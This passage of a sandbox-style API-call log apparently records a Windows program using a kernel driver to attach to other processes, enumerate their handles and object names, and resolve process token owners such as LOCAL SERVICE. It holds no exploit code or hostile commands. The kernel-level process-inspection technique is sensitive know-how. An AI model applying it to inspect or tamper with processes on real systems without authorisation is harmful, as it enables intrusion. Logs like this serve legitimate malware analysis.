Size=0x808) returned 0x250b20 [0093.998] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8e, lpOverlapped=0x0) returned 1 [0093.999] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.999] PsAcquireProcessExitSynchronization () returned 0x0 [0093.999] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880052335d0) [0093.999] ObReferenceObjectByHandle (in: Handle=0x1c8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80032c3070, HandleInformation=0x0) returned 0x0 [0093.999] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.999] PsReleaseProcessExitSynchronization () returned 0x2 [0093.999] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb7 [0093.999] ObQueryNameString (in: Object=0xfffffa80032c3070, ObjectNameInfo=0xfffffa800201d044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800201d044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.999] ObfDereferenceObject (Object=0xfffffa80032c3070) returned 0xe [0093.999] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.999] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.999] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.999] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0093.999] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.999] PsAcquireProcessExitSynchronization () returned 0x0 [0093.999] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880052335d0) [0093.999] ObReferenceObjectByHandle (in: Handle=0x1f0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800316ca60, HandleInformation=0x0) returned 0x0 [0093.999] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.999] PsReleaseProcessExitSynchronization () returned 0x2 [0093.999] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb7 [0093.999] ObQueryNameString (in: Object=0xfffffa800316ca60, ObjectNameInfo=0xfffffa800201f044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800201f044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.999] ObfDereferenceObject (Object=0xfffffa800316ca60) returned 0x5 [0093.999] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.999] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.999] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.999] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0093.999] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.999] PsAcquireProcessExitSynchronization () returned 0x0 [0093.999] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880052335d0) [0093.999] ObReferenceObjectByHandle (in: Handle=0x260, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003302990, HandleInformation=0x0) returned 0x0 [0093.999] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.000] PsReleaseProcessExitSynchronization () returned 0x2 [0094.000] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb7 [0094.000] ObQueryNameString (in: Object=0xfffffa8003302990, ObjectNameInfo=0xfffffa800202c044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800202c044, ReturnLength=0xfffff88005233550) returned 0x0 [0094.000] ObfDereferenceObject (Object=0xfffffa8003302990) returned 0x1 [0094.000] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0094.000] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.000] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.000] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0094.000] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.000] PsAcquireProcessExitSynchronization () returned 0x0 [0094.000] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880052335d0) [0094.000] ObReferenceObjectByHandle (in: Handle=0x2d4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0094.000] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.000] PsReleaseProcessExitSynchronization () returned 0x2 [0094.000] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb7 [0094.000] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa80039997c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80039997c4, ReturnLength=0xfffff88005233550) returned 0x0 [0094.000] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x2b [0094.000] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0094.000] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.000] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.000] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0094.000] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.000] PsAcquireProcessExitSynchronization () returned 0x0 [0094.000] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880052335d0) [0094.000] ObReferenceObjectByHandle (in: Handle=0x2dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0094.000] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.000] PsReleaseProcessExitSynchronization () returned 0x2 [0094.000] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb7 [0094.000] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa800395d044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800395d044, ReturnLength=0xfffff88005233550) returned 0x0 [0094.000] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x2b [0094.000] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0094.000] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.000] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.000] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0094.001] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.001] PsAcquireProcessExitSynchronization () returned 0x0 [0094.001] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880052335d0) [0094.001] ObReferenceObjectByHandle (in: Handle=0x45c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0019a8fc0, HandleInformation=0x0) returned 0x0 [0094.001] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.001] PsReleaseProcessExitSynchronization () returned 0x2 [0094.001] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb7 [0094.001] ObQueryNameString (in: Object=0xfffff8a0019a8fc0, ObjectNameInfo=0xfffffa80038dd7c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80038dd7c4, ReturnLength=0xfffff88005233550) returned 0x0 [0094.001] ObfDereferenceObject (Object=0xfffff8a0019a8fc0) returned 0xa [0094.001] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0094.001] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.001] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.001] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0094.001] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.001] PsAcquireProcessExitSynchronization () returned 0x0 [0094.001] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880052335d0) [0094.001] ObReferenceObjectByHandle (in: Handle=0x4a8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800352ec00, HandleInformation=0x0) returned 0x0 [0094.001] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.001] PsReleaseProcessExitSynchronization () returned 0x2 [0094.001] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb7 [0094.001] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005233508) returned 0x0 [0094.001] ObfDereferenceObject (Object=0xfffffa800352ec00) returned 0x1 [0094.001] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0094.001] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.001] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.001] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0094.001] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.001] PsAcquireProcessExitSynchronization () returned 0x0 [0094.001] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880052335d0) [0094.001] ObReferenceObjectByHandle (in: Handle=0x4f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0019a8fc0, HandleInformation=0x0) returned 0x0 [0094.001] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.001] PsReleaseProcessExitSynchronization () returned 0x2 [0094.001] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb7 [0094.001] ObQueryNameString (in: Object=0xfffff8a0019a8fc0, ObjectNameInfo=0xfffffa80026027c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80026027c4, ReturnLength=0xfffff88005233550) returned 0x0 [0094.001] ObfDereferenceObject (Object=0xfffff8a0019a8fc0) returned 0xa [0094.002] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0094.002] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.002] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x530) returned 0xc0 [0094.002] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0094.002] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa800330c360, HandleInformation=0x0) returned 0x0 [0094.002] ObOpenObjectByPointer (in: Object=0xfffffa800330c360, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff8000076c) returned 0x0 [0094.002] ObfDereferenceObject (Object=0xfffffa800330c360) returned 0x35 [0094.002] ZwOpenProcessToken (in: ProcessHandle=0xffffffff8000076c, DesiredAccess=0x8, TokenHandle=0xfffffa80021772c0 | out: TokenHandle=0xfffffa80021772c0*=0xc8) returned 0x0 [0094.002] ZwClose (Handle=0xffffffff8000076c) returned 0x0 [0094.002] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0094.002] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0094.002] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0094.003] CloseHandle (hObject=0xc8) returned 1 [0094.003] CloseHandle (hObject=0xc0) returned 1 [0094.003] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.003] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0094.003] PsLookupProcessByProcessId (in: ProcessId=0x530, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.003] PsAcquireProcessExitSynchronization () returned 0x0 [0094.003] KeStackAttachProcess (in: PROCESS=0xfffffa800330c360, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800330c360, ApcState=0xfffff880052335d0) [0094.004] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800330cf20, HandleInformation=0x0) returned 0x0 [0094.004] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.004] PsReleaseProcessExitSynchronization () returned 0x2 [0094.004] ObfDereferenceObject (Object=0xfffffa800330c360) returned 0x33 [0094.004] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038c97c4, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa80038c97c4, ReturnLength=0xfffff88005233508) returned 0x0 [0094.004] ObfDereferenceObject (Object=0xfffffa800330cf20) returned 0x1 [0094.004] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0094.004] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.004] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.004] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0094.004] PsLookupProcessByProcessId (in: ProcessId=0x530, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.004] PsAcquireProcessExitSynchronization () returned 0x0 [0094.004] KeStackAttachProcess (in: PROCESS=0xfffffa800330c360, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800330c360, ApcState=0xfffff880052335d0) [0094.004] ObReferenceObjectByHandle (in: Handle=0x68, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80032b3c80, HandleInformation=0x0) returned 0x0 [0094.004] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.004] PsReleaseProcessExitSynchronization () returned 0x2 [0094.004] ObfDereferenceObject (Object=0xfffffa800330c360) returned 0x33 [0094.004] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8003920044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8003920044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.004] ObfDereferenceObject (Object=0xfffffa80032b3c80) returned 0x1 [0094.004] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0094.004] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.004] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.004] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0094.004] PsLookupProcessByProcessId (in: ProcessId=0x530, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.004] PsAcquireProcessExitSynchronization () returned 0x0 [0094.004] KeStackAttachProcess (in: PROCESS=0xfffffa800330c360, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800330c360, ApcState=0xfffff880052335d0) [0094.004] ObReferenceObjectByHandle (in: Handle=0x118, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0094.004] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.004] PsReleaseProcessExitSynchronization () returned 0x2 [0094.004] ObfDereferenceObject (Object=0xfffffa800330c360) returned 0x33 [0094.004] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8001942044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001942044, ReturnLength=0xfffff88005233550) returned 0x0 [0094.004] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x2b [0094.004] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0094.005] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.005] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.005] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0094.005] PsLookupProcessByProcessId (in: ProcessId=0x530, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.005] PsAcquireProcessExitSynchronization () returned 0x0 [0094.005] KeStackAttachProcess (in: PROCESS=0xfffffa800330c360, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800330c360, ApcState=0xfffff880052335d0) [0094.005] ObReferenceObjectByHandle (in: Handle=0x148, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0094.005] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.005] PsReleaseProcessExitSynchronization () returned 0x2 [0094.005] ObfDereferenceObject (Object=0xfffffa800330c360) returned 0x33 [0094.005] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001f8a044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001f8a044, ReturnLength=0xfffff88005233550) returned 0x0 [0094.005] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x50 [0094.005] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0094.005] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.005] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x720) returned 0xc0 [0094.005] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0094.005] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa8002251300, HandleInformation=0x0) returned 0x0 [0094.005] ObOpenObjectByPointer (in: Object=0xfffffa8002251300, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff8000076c) returned 0x0 [0094.005] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4d [0094.005] ZwOpenProcessToken (in: ProcessHandle=0xffffffff8000076c, DesiredAccess=0x8, TokenHandle=0xfffffa80021772c0 | out: TokenHandle=0xfffffa80021772c0*=0xc8) returned 0x0 [0094.005] ZwClose (Handle=0xffffffff8000076c) returned 0x0 [0094.005] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0094.005] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0094.005] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x13), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="LOCAL SERVICE", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0094.275] CloseHandle (hObject=0xc8) returned 1 [0094.275] CloseHandle (hObject=0xc0) returned 1 [0094.275] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.275] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0094.275] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.275] PsAcquireProcessExitSynchronization () returned 0x0 [0094.275] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880052335d0) [0094.275] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80031b5390, HandleInformation=0x0) returned 0x0 [0094.275] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.275] PsReleaseProcessExitSynchronization () returned 0x2 [0094.275] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4b [0094.275] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039997c4, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa80039997c4, ReturnLength=0xfffff88005233508) returned 0x0 [0094.275] ObfDereferenceObject (Object=0xfffffa80031b5390) returned 0x1 [0094.275] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0094.275] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.275] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 